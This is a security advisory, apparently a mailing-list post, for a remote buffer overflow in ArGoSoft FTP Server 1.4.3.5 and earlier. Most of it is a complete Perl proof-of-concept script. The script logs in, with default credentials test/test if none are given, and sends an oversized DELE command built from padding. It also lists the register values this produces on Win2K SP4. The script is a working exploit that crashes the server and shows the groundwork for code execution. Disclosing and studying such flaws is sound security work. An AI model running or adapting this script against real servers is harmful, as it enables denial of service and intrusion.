[EXPL] ArGoSoft FTP Server Remote Buffer Overflow Exploit

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ArGoSoft FTP Server Remote Buffer Overflow Exploit
------------------------------------------------------------------------


SUMMARY

" <http://www.argosoft.com/RootPages/FtpServer/Default.aspx> ArGoSoft FTP
Server is a FTP server for Windows95/98/NT, and supports all basic FTP
commands, and much more, such as passive mode, resuming file transfers,
windows shortcuts to another files, folders and drives (including network
drives), virtual domains (multiple IP homes), IP filtering, site specific
commands, such as compressing and copying files on the server, changing
date/time stamps, and so on."

Lack of proper length validation in ArGoSoft FTP server commands allows
attackers to execute arbitrary code or cause a DoS condition and crash the
server.

DETAILS

Vulnerable Systems:
* ArGoSoft FTP server 1.4.3.5 and prior

#!/usr/bin/perl

# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias #
# ---------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {

# make exploit string
$exploit_string = "DELE ";
$exploit_string .= "A" x 2041;
$exploit_string .= "B" x 4;
$exploit_string .= "C" x 1026;

# On Win2K SP4 FR:
# EAX 42424241
# ECX 43434343
# EDX 43434342
# EBX 43434B73

# ===================

print "Trying to connect to $host:$port\n";
$sock = Net::FTP->new("$host",Port => $port, TimeOut => 30,
Debug=> $debug) or die "[-] Connection failed\n";
print "[+] Connect OK!\n";
print "Logging...\n";
if (!$user) {
$user = "test";
$pass = "test";
}
$sock->login($user, $pass);
$answer = $sock->message;
print "Sending string...\n";
$sock->quot($exploit_string);
} else {
print "ArgoSoft FTP Server - PoC
Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port
username password [debug: 1 or 0]\n\n";
}

# EoF


ADDITIONAL INFORMATION

The information has been provided by <mailto:jerome.athias@xxxxxxx>
Jerome Athias.
The original article can be found at:
<https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html> https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html



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